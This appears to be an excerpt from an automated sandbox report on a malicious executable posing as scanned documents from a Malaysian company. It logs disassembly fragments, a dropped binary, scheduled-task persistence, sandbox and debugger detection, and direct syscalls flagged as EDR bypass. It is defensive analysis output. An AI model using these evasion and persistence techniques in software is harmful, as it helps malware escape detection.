Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E36A push edx; iretd	1_2_0041E372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D48B pushfd ; ret	1_2_0040D48F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004145F7 push eax; iretd	1_2_00414687
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00419D8E push ss; ret	1_2_00419D8F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041A5AB push ss; retf	1_2_0041A645
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403660 push eax; ret	1_2_00403662
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004076F8 push edi; retf	1_2_0040771F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C0225F pushad ; ret	1_2_03C027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C027FA pushad ; ret	1_2_03C027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C309AD push ecx; mov dword ptr [esp], ecx	1_2_03C309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C0283D push eax; iretd	1_2_03C02858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C01368 push eax; iretd	1_2_03C01369
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C01065 push edi; ret	1_2_03C0108A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C018F3 push edx; iretd	1_2_03C01906
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E91366 pushfd ; ret	3_2_03E9136A
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03EA2245 push edx; iretd	3_2_03EA224D
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03EA218F push ss; ret	3_2_03EA21A0
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E960EB push ecx; iretd	3_2_03E96109
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E960B7 push ebp; retf	3_2_03E960D1
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E960B7 push ecx; iretd	3_2_03E96109
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E88F8A push 660EA6FEh; ret	3_2_03E88F8F
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03EA6F0D push 195B6DB7h; iretd	3_2_03EA6F14
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 3_2_03E8B5E5 push edi; retf	3_2_03E8B5FA

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	File created: \scanned docs from emnes metal sdn bhd_.exe
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	File created: \scanned docs from emnes metal sdn bhd_.exe			Jump to behavior

Boot Survival

Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\SysWOW64\schtasks.exe"

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_0029F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0029F98E
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_00311C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00311C41

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-96192

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	API/Special instruction interceptor: Address: 3203234
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\schtasks.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_03C7096E rdtsc

1_2_03C7096E

Source: C:\Windows\SysWOW64\schtasks.exe

Window / User API: threadDelayed 9780

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	API coverage: 3.9 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.6 %
Source: C:\Windows\SysWOW64\schtasks.exe	API coverage: 2.3 %

Source: C:\Windows\SysWOW64\schtasks.exe TID: 5000	Thread sleep count: 192 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe TID: 5000	Thread sleep time: -384000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe TID: 5000	Thread sleep count: 9780 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe TID: 5000	Thread sleep time: -19560000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe TID: 6968	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe TID: 6968	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe TID: 6968	Thread sleep time: -51000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe TID: 6968	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe TID: 6968	Thread sleep time: -38000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\schtasks.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\schtasks.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002EDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_002EDBBE
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F68EE FindFirstFileW,FindClose,	0_2_002F68EE
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_002F698F
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002ED076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_002ED076
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002ED3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_002ED3A9
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_002F9642
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_002F979D
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_002F9B2B
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_002F5C97
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B2BAB0 FindFirstFileW,FindNextFileW,FindClose,	4_2_02B2BAB0

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Source: MHFAGZiftf.exe, 00000007.00000002.4111361762.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: schtasks.exe, 00000004.00000002.4111169499.0000000003113000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000008.00000002.2244405329.000002308191C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_03C7096E rdtsc

1_2_03C7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417783 LdrLoadDll,

1_2_00417783

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002FEAA2 BlockInput,

0_2_002FEAA2

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002B2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_002B2622

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A4CE8 mov eax, dword ptr fs:[00000030h]	0_2_002A4CE8
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_03203500 mov eax, dword ptr fs:[00000030h]	0_2_03203500
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_032034A0 mov eax, dword ptr fs:[00000030h]	0_2_032034A0
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_03201E70 mov eax, dword ptr fs:[00000030h]	0_2_03201E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEC3CD mov eax, dword ptr fs:[00000030h]	1_2_03CEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C383C0 mov eax, dword ptr fs:[00000030h]	1_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C383C0 mov eax, dword ptr fs:[00000030h]	1_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C383C0 mov eax, dword ptr fs:[00000030h]	1_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C383C0 mov eax, dword ptr fs:[00000030h]	1_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB63C0 mov eax, dword ptr fs:[00000030h]	1_2_03CB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	1_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	1_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE3DB mov ecx, dword ptr fs:[00000030h]	1_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	1_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD43D4 mov eax, dword ptr fs:[00000030h]	1_2_03CD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD43D4 mov eax, dword ptr fs:[00000030h]	1_2_03CD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]	1_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]	1_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]	1_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]	1_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]	1_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]	1_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]	1_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C403E9 mov eax, dword ptr fs:[00000030h]	1_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C663FF mov eax, dword ptr fs:[00000030h]	1_2_03C663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2E388 mov eax, dword ptr fs:[00000030h]	1_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2E388 mov eax, dword ptr fs:[00000030h]	1_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2E388 mov eax, dword ptr fs:[00000030h]	1_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5438F mov eax, dword ptr fs:[00000030h]	1_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5438F mov eax, dword ptr fs:[00000030h]	1_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C28397 mov eax, dword ptr fs:[00000030h]	1_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C28397 mov eax, dword ptr fs:[00000030h]	1_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C28397 mov eax, dword ptr fs:[00000030h]	1_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB2349 mov eax, dword ptr fs:[00000030h]	1_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]	1_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]	1_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]	1_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB035C mov ecx, dword ptr fs:[00000030h]	1_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]	1_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB035C mov eax, dword ptr fs:[00000030h]	1_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFA352 mov eax, dword ptr fs:[00000030h]	1_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD8350 mov ecx, dword ptr fs:[00000030h]	1_2_03CD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D0634F mov eax, dword ptr fs:[00000030h]	1_2_03D0634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD437C mov eax, dword ptr fs:[00000030h]	1_2_03CD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A30B mov eax, dword ptr fs:[00000030h]	1_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A30B mov eax, dword ptr fs:[00000030h]	1_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A30B mov eax, dword ptr fs:[00000030h]	1_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2C310 mov ecx, dword ptr fs:[00000030h]	1_2_03C2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C50310 mov ecx, dword ptr fs:[00000030h]	1_2_03C50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D08324 mov eax, dword ptr fs:[00000030h]	1_2_03D08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D08324 mov ecx, dword ptr fs:[00000030h]	1_2_03D08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D08324 mov eax, dword ptr fs:[00000030h]	1_2_03D08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D08324 mov eax, dword ptr fs:[00000030h]	1_2_03D08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D062D6 mov eax, dword ptr fs:[00000030h]	1_2_03D062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C402E1 mov eax, dword ptr fs:[00000030h]	1_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C402E1 mov eax, dword ptr fs:[00000030h]	1_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C402E1 mov eax, dword ptr fs:[00000030h]	1_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E284 mov eax, dword ptr fs:[00000030h]	1_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E284 mov eax, dword ptr fs:[00000030h]	1_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB0283 mov eax, dword ptr fs:[00000030h]	1_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB0283 mov eax, dword ptr fs:[00000030h]	1_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB0283 mov eax, dword ptr fs:[00000030h]	1_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C402A0 mov eax, dword ptr fs:[00000030h]	1_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C402A0 mov eax, dword ptr fs:[00000030h]	1_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC62A0 mov ecx, dword ptr fs:[00000030h]	1_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	1_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB8243 mov eax, dword ptr fs:[00000030h]	1_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB8243 mov ecx, dword ptr fs:[00000030h]	1_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D0625D mov eax, dword ptr fs:[00000030h]	1_2_03D0625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2A250 mov eax, dword ptr fs:[00000030h]	1_2_03C2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36259 mov eax, dword ptr fs:[00000030h]	1_2_03C36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEA250 mov eax, dword ptr fs:[00000030h]	1_2_03CEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEA250 mov eax, dword ptr fs:[00000030h]	1_2_03CEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C34260 mov eax, dword ptr fs:[00000030h]	1_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C34260 mov eax, dword ptr fs:[00000030h]	1_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C34260 mov eax, dword ptr fs:[00000030h]	1_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2826B mov eax, dword ptr fs:[00000030h]	1_2_03C2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
